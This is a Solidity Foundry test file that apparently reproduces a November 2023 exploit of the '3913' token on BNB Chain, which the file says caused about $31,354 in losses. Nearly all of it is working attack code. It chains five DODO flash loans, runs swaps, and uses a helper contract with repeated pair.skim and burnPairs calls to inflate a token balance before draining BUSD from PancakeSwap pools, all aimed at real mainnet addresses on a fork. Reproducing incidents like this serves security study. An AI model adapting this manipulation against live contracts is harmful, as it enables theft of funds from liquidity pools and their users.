src/test/2023-11/3913_exp.sol

1// SPDX-License-Identifier: UNLICENSED
2pragma solidity ^0.8.20;
3 
4import "forge-std/Test.sol";
5import "./../interface.sol";
6 
7// @KeyInfo -- Total Lost : ~31,354 USD$
8// Attacker : https://bscscan.com/tx/0xb29f18b89e56cc0151c7c17de0625a21018d8ae7
9// Attack Contract : https://bscscan.com/address/0x783fbea45b32eaaa596b44412041dd1208025e83
10// Attacker Transaction :
11// https://bscscan.com/tx/0x8163738d6610ca32f048ee9d30f4aa1ffdb3ca1eddf95c0eba086c3e936199ed
12 
13// @Analysis
14// https://defimon.xyz/attack/bsc/0x8163738d6610ca32f048ee9d30f4aa1ffdb3ca1eddf95c0eba086c3e936199ed
15 
16// The hacker sent multiple transactions to attack, just taking the first transaction as an example.
17 
18interface IDodo {
19    function flashLoan(uint256 baseAmount, uint256 quoteAmount, address assetTo, bytes calldata data) external;
20}
21 
22interface I3913 is IERC20 {
23    function burnPairs() external;
24}
25 
26contract Exploit is Test {
27    CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);
28    I3913 vulnerable = I3913(0xd74F28c6E0E2c09881Ef2d9445F158833c174775);
29    IPancakePair pair = IPancakePair(0x715762906489D5D671eA3eC285731975DA617583);
30    IPancakePair pair3913to9419 = IPancakePair(0xd6d66e1993140966e6029815eDbB246800928969);
31    IPancakeRouter router = IPancakeRouter(payable(0x10ED43C718714eb63d5aA57B78B54704E256024E));
32    address dodo1 = 0x81917eb96b397dFb1C6000d28A5bc08c0f05fC1d;
33    address dodo2 = 0x26d0c625e5F5D6de034495fbDe1F6e9377185618;
34    address dodo3 = 0xFeAFe253802b77456B4627F8c2306a9CeBb5d681;
35    address dodo4 = 0x9ad32e3054268B849b84a8dBcC7c8f7c52E4e69A;
36    address dodo5 = 0x6098A5638d8D7e9Ed2f952d35B2b67c34EC6B476;
37    IERC20 busd = IERC20(0x55d398326f99059fF775485246999027B3197955);
38    IERC20 token9419 = IERC20(0x86335cb69e4E28fad231dAE3E206ce90849a5477);
39    uint256 dodo1FlashLoanAmount;
40    uint256 dodo2FlashLoanAmount;
41    uint256 dodo3FlashLoanAmount;
42    uint256 dodo4FlashLoanAmount;
43    uint256 dodo5FlashLoanAmount;
44 
45    function setUp() public {
46        cheats.createSelectFork("bsc", 33_132_467);
47        cheats.label(address(vulnerable), "3913");
48        cheats.label(address(pair), "pair");
49        cheats.label(address(token9419), "9419");
50    }
51 
52    function testExploit() public {
53        deal(address(busd), address(this), 0);
54        emit log_named_decimal_uint(
55            "attacker balance busd before attack:", busd.balanceOf(address(this)), busd.decimals()
56        );
57        dodo1FlashLoanAmount = busd.balanceOf(dodo1);
58        IDodo(dodo1).flashLoan(0, dodo1FlashLoanAmount, address(this), new bytes(1));
59        emit log_named_decimal_uint(
60            "attacker balance busd after attack:", busd.balanceOf(address(this)), busd.decimals()
61        );
62    }
63 
64    function DPPFlashLoanCall(address sender, uint256 baseAmount, uint256 quoteAmount, bytes calldata data) external {
65        if (msg.sender == dodo1) {
66            dodo2FlashLoanAmount = busd.balanceOf(dodo2);
67            IDodo(dodo2).flashLoan(0, dodo2FlashLoanAmount, address(this), new bytes(1));
68            busd.transfer(dodo1, dodo1FlashLoanAmount);
69        } else if (msg.sender == dodo2) {
70            dodo3FlashLoanAmount = busd.balanceOf(dodo3);
71            IDodo(dodo3).flashLoan(0, dodo3FlashLoanAmount, address(this), new bytes(1));
72            busd.transfer(dodo2, dodo2FlashLoanAmount);
73        } else if (msg.sender == dodo3) {
74            dodo4FlashLoanAmount = busd.balanceOf(dodo4);
75            IDodo(dodo4).flashLoan(0, dodo4FlashLoanAmount, address(this), new bytes(1));
76            busd.transfer(dodo3, dodo3FlashLoanAmount);
77        } else if (msg.sender == dodo4) {
78            dodo5FlashLoanAmount = busd.balanceOf(dodo5);
79            IDodo(dodo5).flashLoan(0, dodo5FlashLoanAmount, address(this), new bytes(1));
80            busd.transfer(dodo4, dodo4FlashLoanAmount);
81        } else if (msg.sender == dodo5) {
82            //end of flash loan
83            busd.approve(address(pair), type(uint256).max);
84            busd.approve(address(router), type(uint256).max);
85 
86            address[] memory path = new address[](2);
87            path[0] = address(busd);
88            path[1] = address(vulnerable);
89            router.swapExactTokensForTokens(10 ether, 0, path, address(this), block.timestamp + 100);
90            path[1] = address(token9419);
91            router.swapExactTokensForTokens(10 ether, 0, path, address(this), block.timestamp + 100);
92            NewContract x = new NewContract();
93 
94            vulnerable.transfer(address(x), 1 ether);
95 
96            x.transferToken(address(vulnerable), address(this));
97            path[1] = address(vulnerable);
98            router.swapExactTokensForTokens(
99                358_631_959_260_537_946_706_184, 0, path, address(this), block.timestamp + 100
100            );
101            busd.transfer(address(pair), 1);
102            assertEq(vulnerable.balanceOf(address(this)), 650_501_978_825_924_088_488_444_996_953);
103            vulnerable.transfer(address(pair), vulnerable.balanceOf(address(this)));
104            pair.skim(address(x));
105 
106            uint8 i = 0;
107            while (i < 10) {
108                x.transferToken(address(vulnerable), address(this));
109                if (vulnerable.balanceOf(address(0x570C19331c1B155C21ccD6C2D8e264785cc6F015)) != 1e15) {
110                    busd.transfer(address(pair), 1);
111                    vulnerable.transfer(address(pair), vulnerable.balanceOf(address(this)));
112                    pair.skim(address(x));
113                } else {
114                    vulnerable.burnPairs();
115                }
116                i++;
117            }
118            assertEq(vulnerable.balanceOf(address(this)), 873_285_322_509_556_749_289_919_955_755);
119            path[0] = address(vulnerable);
120            path[1] = address(busd);
121            uint256[] memory amountOut = router.getAmountsOut(vulnerable.balanceOf(address(this)) * 98 / 100, path);
122            assertEq(amountOut[0], 855_819_616_059_365_614_304_121_556_639);
123 
124            busd.transfer(address(pair), 1);
125            vulnerable.transfer(address(pair), amountOut[0]);
126 
127            assertEq(amountOut[1] * 99 / 100, 386_867_521_275_785_735_087_292);
128            (uint112 res0, uint112 res1,) = pair.getReserves();
129            assertEq(res0, 585_082_814_956_957_699_188_861);
130            assertEq(res1, 424_480_476_638_586_992_222_101_033_564);
131            assert(amountOut[1] * 99 / 100 < res0);
132            assertEq(pair.token0(), address(busd));
133            pair.swap(amountOut[1] * 99 / 100, 0, address(this), new bytes(0));
134            path[0] = address(vulnerable);
135            path[1] = address(token9419);
136            amountOut = router.getAmountsOut(vulnerable.balanceOf(address(this)), path);
137            token9419.transfer(address(pair3913to9419), 1);
138            vulnerable.transfer(address(pair3913to9419), vulnerable.balanceOf(address(this)));
139            (res0, res1,) = pair3913to9419.getReserves();
140            assert(res0 > amountOut[1] * 99 / 100);
141            assertEq(pair3913to9419.token0(), address(token9419));
142            assertEq(amountOut[1] * 99 / 100, 278_798_044_220_113_865_039_589_361_218);
143 
144            pair3913to9419.swap(amountOut[1] * 99 / 100, 0, address(this), new bytes(0));
145            //
146            path[0] = address(token9419);
147            path[1] = address(busd);
148            token9419.approve(address(router), type(uint256).max);
149            router.swapExactTokensForTokensSupportingFeeOnTransferTokens(
150                token9419.balanceOf(address(this)), 0, path, address(this), block.timestamp + 100
151            );
152            busd.transfer(dodo5, dodo5FlashLoanAmount);
153        }
154    }
155}
156 
157contract NewContract {
158    function transferToken(address token, address destination) external {
159        uint256 bal = I3913(token).balanceOf(address(this));
160        I3913(token).transfer(destination, bal);
161    }
162}